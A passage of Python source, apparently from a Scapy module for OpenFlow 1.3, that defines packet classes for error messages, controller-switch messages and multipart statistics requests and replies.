"OFPBRC_BAD_LEN", 7: "OFPBRC_BUFFER_EMPTY", 8: "OFPBRC_BUFFER_UNKNOWN", 9: "OFPBRC_BAD_TABLE_ID", 10: "OFPBRC_IS_SLAVE", 11: "OFPBRC_BAD_PORT", 12: "OFPBRC_BAD_PACKET", 13: "OFPBRC_MULTIPART_BUFFER_OVERFLOW" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETBadAction(_ofp_header): name = "OFPET_BAD_ACTION" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 2, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPBAC_BAD_TYPE", 1: "OFPBAC_BAD_LEN", 2: "OFPBAC_BAD_EXPERIMENTER", 3: "OFPBAC_BAD_EXP_TYPE", 4: "OFPBAC_BAD_OUT_PORT", 5: "OFPBAC_BAD_ARGUMENT", 6: "OFPBAC_EPERM", 7: "OFPBAC_TOO_MANY", 8: "OFPBAC_BAD_QUEUE", 9: "OFPBAC_BAD_OUT_GROUP", 10: "OFPBAC_MATCH_INCONSISTENT", 11: "OFPBAC_UNSUPPORTED_ORDER", 12: "OFPBAC_BAD_TAG", 13: "OFPBAC_BAD_SET_TYPE", 14: "OFPBAC_BAD_SET_LEN", 15: "OFPBAC_BAD_SET_ARGUMENT" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETBadInstruction(_ofp_header): name = "OFPET_BAD_INSTRUCTION" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 3, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPBIC_UNKNOWN_INST", 1: "OFPBIC_UNSUP_INST", 2: "OFPBIC_BAD_TABLE_ID", 3: "OFPBIC_UNSUP_METADATA", 4: "OFPBIC_UNSUP_METADATA_MASK", 5: "OFPBIC_BAD_EXPERIMENTER", 6: "OFPBIC_BAD_EXP_TYPE", 7: "OFPBIC_BAD_LEN", 8: "OFPBIC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETBadMatch(_ofp_header): name = "OFPET_BAD_MATCH" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 4, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPBMC_BAD_TYPE", 1: "OFPBMC_BAD_LEN", 2: "OFPBMC_BAD_TAG", 3: "OFPBMC_BAD_DL_ADDR_MASK", 4: "OFPBMC_BAD_NW_ADDR_MASK", 5: "OFPBMC_BAD_WILDCARDS", 6: "OFPBMC_BAD_FIELD", 7: "OFPBMC_BAD_VALUE", 8: "OFPBMC_BAD_MASK", 9: "OFPBMC_BAD_PREREQ", 10: "OFPBMC_DUP_FIELD", 11: "OFPBMC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETFlowModFailed(_ofp_header): name = "OFPET_FLOW_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 5, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPFMFC_UNKNOWN", 1: "OFPFMFC_TABLE_FULL", 2: "OFPFMFC_BAD_TABLE_ID", 3: "OFPFMFC_OVERLAP", 4: "OFPFMFC_EPERM", 5: "OFPFMFC_BAD_TIMEOUT", 6: "OFPFMFC_BAD_COMMAND", 7: "OFPFMFC_BAD_FLAGS" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETGroupModFailed(_ofp_header): name = "OFPET_GROUP_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 6, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPGMFC_GROUP_EXISTS", 1: "OFPGMFC_INVALID_GROUP", 2: "OFPGMFC_WEIGHT_UNSUPPORTED", 3: "OFPGMFC_OUT_OF_GROUPS", 4: "OFPGMFC_OUT_OF_BUCKETS", 5: "OFPGMFC_CHAINING_UNSUPPORTED", 6: "OFPGMFC_WATCH_UNSUPPORTED", 7: "OFPGMFC_LOOP", 8: "OFPGMFC_UNKNOWN_GROUP", 9: "OFPGMFC_CHAINED_GROUP", 10: "OFPGMFC_BAD_TYPE", 11: "OFPGMFC_BAD_COMMAND", 12: "OFPGMFC_BAD_BUCKET", 13: "OFPGMFC_BAD_WATCH", 14: "OFPFMFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETPortModFailed(_ofp_header): name = "OFPET_PORT_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 7, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPPMFC_BAD_PORT", 1: "OFPPMFC_BAD_HW_ADDR", 2: "OFPPMFC_BAD_CONFIG", 3: "OFPPMFC_BAD_ADVERTISE", 4: "OFPPMFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETTableModFailed(_ofp_header): name = "OFPET_TABLE_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 8, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPTMFC_BAD_TABLE", 1: "OFPTMFC_BAD_CONFIG", 2: "OFPTMFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETQueueOpFailed(_ofp_header): name = "OFPET_QUEUE_OP_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 9, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPQOFC_BAD_PORT", 1: "OFPQOFC_BAD_QUEUE", 2: "OFPQOFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETSwitchConfigFailed(_ofp_header): name = "OFPET_SWITCH_CONFIG_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 10, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPSCFC_BAD_FLAGS", 1: "OFPSCFC_BAD_LEN", 2: "OFPSCFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETRoleRequestFailed(_ofp_header): name = "OFPET_ROLE_REQUEST_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 11, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPRRFC_STALE", 1: "OFPRRFC_UNSUP", 2: "OFPRRFC_BAD_ROLE" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETMeterModFailed(_ofp_header): name = "OFPET_METER_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 12, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPMMFC_UNKNOWN", 1: "OFPMMFC_METER_EXISTS", 2: "OFPMMFC_INVALID_METER", 3: "OFPMMFC_UNKNOWN_METER", 4: "OFPMMFC_BAD_COMMAND", 5: "OFPMMFC_BAD_FLAGS", 6: "OFPMMFC_BAD_RATE", 7: "OFPMMFC_BAD_BURST", 8: "OFPMMFC_BAD_BAND", 9: "OFPMMFC_BAD_BAND_VALUE", 10: "OFPMMFC_OUT_OF_METERS", 11: "OFPMMFC_OUT_OF_BANDS" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETTableFeaturesFailed(_ofp_header): name = "OFPET_TABLE_FEATURES_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 13, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPTFFC_BAD_TABLE", 1: "OFPTFFC_BAD_METADATA", 2: "OFPTFFC_BAD_TYPE", 3: "OFPTFFC_BAD_LEN", 4: "OFPTFFC_BAD_ARGUMENT", 5: "OFPTFFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETExperimenter(_ofp_header): name = "OFPET_EXPERIMENTER" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", "OFPET_EXPERIMENTER", ofp_error_type), ShortField("exp_type", None), IntField("experimenter", None), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} # ofp_error_cls allows generic method OpenFlow() # to choose the right class for dissection ofp_error_cls = { 0: OFPETHelloFailed, 1: OFPETBadRequest, 2: OFPETBadAction, 3: OFPETBadInstruction, 4: OFPETBadMatch, 5: OFPETFlowModFailed, 6: OFPETGroupModFailed, 7: OFPETPortModFailed, 8: OFPETTableModFailed, 9: OFPETQueueOpFailed, 10: OFPETSwitchConfigFailed, 11: OFPETRoleRequestFailed, 12: OFPETMeterModFailed, 13: OFPETTableFeaturesFailed, 65535: OFPETExperimenter } ################ end of OFPT_ERRORS ################# class OFPTEchoRequest(_ofp_header): name = "OFPT_ECHO_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 2, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTEchoReply(_ofp_header): name = "OFPT_ECHO_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 3, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTExperimenter(_ofp_header): name = "OFPT_EXPERIMENTER" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 4, ofp_type), ShortField("len", None), IntField("xid", 0), IntField("experimenter", 0), IntField("exp_type", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTFeaturesRequest(_ofp_header): name = "OFPT_FEATURES_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 5, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTFeaturesReply(_ofp_header): name = "OFPT_FEATURES_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 6, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("datapath_id", 0), IntField("n_buffers", 0), ByteField("n_tables", 1), ByteField("auxiliary_id", 0), XShortField("pad", 0), FlagsField("capabilities", 0, 32, [ "FLOW_STATS", "TABLE_STATS", "PORT_STATS", "GROUP_STATS", "RESERVED", #undefined "IP_REASM", "QUEUE_STATS", "ARP_MATCH_IP", #undefined "PORT_BLOCKED"]), IntField("reserved", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTGetConfigRequest(_ofp_header): name = "OFPT_GET_CONFIG_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 7, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTGetConfigReply(_ofp_header): name = "OFPT_GET_CONFIG_REPLY" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 8, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, { 0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK" }), ShortField("miss_send_len", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTSetConfig(_ofp_header): name = "OFPT_SET_CONFIG" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 9, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, { 0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK" }), ShortField("miss_send_len", 128) ] overload_fields = {TCP: {"sport": 6653}} class OFPTPacketIn(_ofp_header): name = "OFPT_PACKET_IN" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 10, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortField("total_len", 0), ByteEnumField("reason", 0, { 0: "OFPR_NO_MATCH", 1: "OFPR_ACTION", 2: "OFPR_INVALID_TTL"}), ByteEnumField("table_id", 0, ofp_table), LongField("cookie", 0), MatchField("match"), XShortField("pad", 0), PacketField("data", "", Ether) ] overload_fields = {TCP: {"dport": 6653}} class OFPTFlowRemoved(_ofp_header): name = "OFPT_FLOW_REMOVED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 11, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("cookie", 0), ShortField("priority", 0), ByteEnumField("reason", 0, { 0: "OFPRR_IDLE_TIMEOUT", 1: "OFPRR_HARD_TIMEOUT", 2: "OFPRR_DELETE", 3: "OFPRR_GROUP_DELETE"}), ByteEnumField("table_id", 0, ofp_table), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), LongField("packet_count", 0), LongField("byte_count", 0), MatchField("match") ] overload_fields = {TCP: {"dport": 6653}} class OFPTPortStatus(_ofp_header): name = "OFPT_PORT_STATUS" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 12, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("reason", 0, { 0: "OFPPR_ADD", 1: "OFPPR_DELETE", 2: "OFPPR_MODIFY"}), XBitField("pad", 0, 56), PacketField("desc", OFPPort(), OFPPort) ] overload_fields = {TCP: {"dport": 6653}} class OFPTPacketOut(_ofp_header): name = "OFPT_PACKET_OUT" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 13, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), IntEnumField("in_port", "CONTROLLER", ofp_port_no), FieldLenField("actions_len", None, fmt="H", length_of="actions"), XBitField("pad", 0, 48), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.actions_len), PacketField("data", "", Ether) ] overload_fields = {TCP: {"sport": 6653}} class OFPTFlowMod(_ofp_header): name = "OFPT_FLOW_MOD" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 14, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("cookie", 0), LongField("cookie_mask", 0), ByteEnumField("table_id", 0, ofp_table), ByteEnumField("cmd", 0, { 0: "OFPFC_ADD", 1: "OFPFC_MODIFY", 2: "OFPFC_MODIFY_STRICT", 3: "OFPFC_DELETE", 4: "OFPFC_DELETE_STRICT" }), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), ShortField("priority", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), IntEnumField("out_port", "ANY", ofp_port_no), IntEnumField("out_group", "ANY", ofp_group), FlagsField("flags", 0, 16, [ "SEND_FLOW_REM", "CHECK_OVERLAP", "RESET_COUNTS", "NO_PKT_COUNTS", "NO_BYT_COUNTS" ]), XShortField("pad", 0), MatchField("match"), InstructionPacketListField("instructions", [], Packet, length_from=lambda pkt:pkt.len-48-(pkt.match.length+(8-pkt.match.length%8)%8)) ] # include match padding to match.length overload_fields = {TCP: {"sport": 6653}} class OFPTGroupMod(_ofp_header): name = "OFPT_GROUP_MOD" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 15, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("cmd", 0, { 0: "OFPGC_ADD", 1: "OFPGC_MODIFY", 2: "OFPGC_DELETE" }), ByteEnumField("group_type", 0, { 0: "OFPGT_ALL", 1: "OFPGT_SELECT", 2: "OFPGT_INDIRECT", 3: "OFPGT_FF" }), XByteField("pad", 0), IntEnumField("group_id", 0, ofp_group), BucketPacketListField("buckets", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"sport": 6653}} class OFPTPortMod(_ofp_header): name = "OFPT_PORT_MOD" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port_no", 0, ofp_port_no), XIntField("pad1", 0), MACField("hw_addr", "0"), XShortField("pad2", 0), FlagsField("config", 0, 32, ofp_port_config), FlagsField("mask", 0, 32, ofp_port_config), FlagsField("advertise", 0, 32, ofp_port_features), XIntField("pad3", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTTableMod(_ofp_header): name = "OFPT_TABLE_MOD" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad", 0), IntEnumField("config", 0, { 3: "OFPTC_DEPRECATED_MASK"}) ] overload_fields = {TCP: {"sport": 6653}} ##################################################### ################## OFPT_MULTIPART ################### ##################################################### ofp_multipart_types = { 0: "OFPMP_DESC", 1: "OFPMP_FLOW", 2: "OFPMP_AGGREGATE", 3: "OFPMP_TABLE", 4: "OFPMP_PORT_STATS", 5: "OFPMP_QUEUE", 6: "OFPMP_GROUP", 7: "OFPMP_GROUP_DESC", 8: "OFPMP_GROUP_FEATURES", 9: "OFPMP_METER", 10: "OFPMP_METER_CONFIG", 11: "OFPMP_METER_FEATURES", 12: "OFPMP_TABLE_FEATURES", 13: "OFPMP_PORT_DESC", 65535: "OFPST_VENDOR" } ofpmp_request_flags = [ "REQ_MORE" ] ofpmp_reply_flags = [ "REPLY_MORE" ] class OFPMPRequestDesc(_ofp_header): name = "OFPMP_REQUEST_DESC" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 0, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPMPReplyDesc(_ofp_header): name = "OFPMP_REPLY_DESC" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 0, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad", 0), StrFixedLenField("mfr_desc", "", 256), StrFixedLenField("hw_desc", "", 256), StrFixedLenField("sw_desc", "", 256), StrFixedLenField("serial_num", "", 32), StrFixedLenField("dp_desc", "", 256) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestFlow(_ofp_header): name = "OFPMP_REQUEST_FLOW" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 1, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), ByteEnumField("table_id", "ALL", ofp_table), X3BytesField("pad2", 0), IntEnumField("out_port", "ANY", ofp_port_no), IntEnumField("out_group", "ANY", ofp_group), IntField("pad3", 0), LongField("cookie", 0), LongField("cookie_mask", 0), MatchField("match") ] overload_fields = {TCP: {"sport": 6653}} class OFPFlowStats(Packet): def post_build(self, p, pay): if self.length is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_FLOW_STATS" fields_desc = [ ShortField("length", None), ByteEnumField("table_id", 0, ofp_table), XByteField("pad1", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("priority", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), FlagsField("flags", 0, 16, [ "SEND_FLOW_REM", "CHECK_OVERLAP", "RESET_COUNTS", "NO_PKT_COUNTS", "NO_BYT_COUNTS" ]), IntField("pad2", 0), LongField("cookie", 0), LongField("packet_count", 0), LongField("byte_count", 0), MatchField("match"), InstructionPacketListField("instructions", [], Packet, length_from=lambda pkt:pkt.length-56-pkt.match.length) ] class FlowStatsPacketListField(PacketListField): @staticmethod def _get_flow_stats_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = FlowStatsPacketListField._get_flow_stats_length(remain) current = remain[:l] remain = remain[l:] p = OFPFlowStats(current) lst.append(p) return remain, lst class OFPMPReplyFlow(_ofp_header): name = "OFPMP_REPLY_FLOW" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 1, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), FlowStatsPacketListField("flow_stats", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestAggregate(_ofp_header): name = "OFPMP_REQUEST_AGGREGATE" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 2, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), ByteEnumField("table_id", "ALL", ofp_table), X3BytesField("pad2", 0), IntEnumField("out_port", "ANY", ofp_port_no), IntEnumField("out_group", "ANY", ofp_group), IntField("pad3", 0), LongField("cookie", 0), LongField("cookie_mask", 0), MatchField("match") ] overload_fields = {TCP: {"sport": 6653}} class OFPMPReplyAggregate(_ofp_header): name = "OFPMP_REPLY_AGGREGATE" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 2, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), LongField("packet_count", 0), LongField("byte_count", 0), IntField("flow_count", 0), XIntField("pad2", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestTable(_ofp_header): name = "OFPMP_REQUEST_TABLE" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 3, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTableStats(Packet): def extract_padding(self, s): return "", s name = "OFP_TABLE_STATS" fields_desc = [ ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad1", 0), IntField("active_count", 0), LongField("lookup_count", 0), LongField("matched_count", 0) ] class OFPMPReplyTable(_ofp_header): name = "OFPMP_REPLY_TABLE" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 3, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("table_stats", None, OFPTableStats, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestPortStats(_ofp_header): name = "OFPMP_REQUEST_PORT_STATS" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 4, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", "ANY", ofp_port_no), XIntField("pad", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPPortStats(Packet): def extract_padding(self, s): return "", s name = "OFP_PORT_STATS" fields_desc = [ IntEnumField("port_no", 0, ofp_port_no), XIntField("pad", 0), LongField("rx_packets", 0), LongField("tx_packets", 0), LongField("rx_bytes", 0), LongField("tx_bytes", 0), LongField("rx_dropped", 0), LongField("tx_dropped", 0), LongField("rx_errors", 0), LongField("tx_errors", 0), LongField("rx_frame_err", 0), LongField("rx_over_err", 0), LongField("rx_crc_err", 0), LongField("collisions", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0) ] class OFPMPReplyPortStats(_ofp_header): name = "OFPMP_REPLY_PORT_STATS" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 4, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("port_stats", None, OFPPortStats, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestQueue(_ofp_header): name = "OFPMP_REQUEST_QUEUE" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 5, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", "ANY", ofp_port_no), IntEnumField("queue_id", "ALL", ofp_queue) ] overload_fields = {TCP: {"sport": 6653}} class OFPQueueStats(Packet): def extract_padding(self, s): return "", s name = "OFP_QUEUE_STATS" fields_desc = [ IntEnumField("port_no", 0, ofp_port_no), IntEnumField("queue_id", 0, ofp_queue), LongField("tx_bytes", 0), LongField("tx_packets", 0), LongField("tx_errors", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0) ] class OFPMPReplyQueue(_ofp_header): name = "OFPMP_REPLY_QUEUE" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 5, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("queue_stats", None, OFPQueueStats, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestGroup(_ofp_header): name = "OFPMP_REQUEST_GROUP" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 6, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("group_id", "ANY", ofp_group), XIntField("pad2", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPBucketStats(Packet): def extract_padding(self, s): return "", s name = "OFP_BUCKET_STATS" fields_desc = [ LongField("packet_count", 0), LongField("byte_count", 0) ] class OFPGroupStats(Packet): def post_build(self, p, pay): if self.length is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_GROUP_STATS" fields_desc = [ ShortField("length", None), XShortField("pad1", 0), IntEnumField("group_id", 0, ofp_group), IntField("ref_count", 0), IntField("pad2", 0), LongField("packet_count", 0), LongField("byte_count", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), PacketListField("bucket_stats", None, OFPBucketStats, length_from=lambda pkt:pkt.length-40) ] class GroupStatsPacketListField(PacketListField): @staticmethod def _get_group_stats_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = GroupStatsPacketListField._get_group_stats_length(remain) current = remain[:l] remain = remain[l:] p = OFPGroupStats(current) lst.append(p) return remain, lst class OFPMPReplyGroup(_ofp_header): name = "OFPMP_REPLY_GROUP" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 6, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), GroupStatsPacketListField("group_stats", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} class OFPMPRequestGroupDesc(_ofp_header): name = "OFPMP_REQUEST_GROUP_DESC" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 7, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPGroupDesc(Packet): def post_build(self, p, pay): if self.length is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_GROUP_DESC" fields_desc = [ ShortField("length", None), ByteEnumField("type", 0, { 0: "OFPGT_ALL", 1: "OFPGT_SELECT", 2: "OFPGT_INDIRECT", 3: "OFPGT_FF" }), XByteField("pad", 0), IntEnumField("group_id", 0, ofp_group), BucketPacketListField("buckets", None, Packet, length_from=lambda pkt:pkt.length-8) ] class GroupDescPacketListField(PacketListField): @staticmethod def _get_group_desc_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = GroupsDescPacketListField._get_group_desc_length(remain) current = remain[:l] remain = remain[l:] p = OFPGroupDesc(current) lst.append(p) return remain, lst class OFPMPReplyGroupDesc(_ofp_header): name = "OFPMP_REPLY_GROUP_DESC" fields_desc = [ ByteEnumField("version", 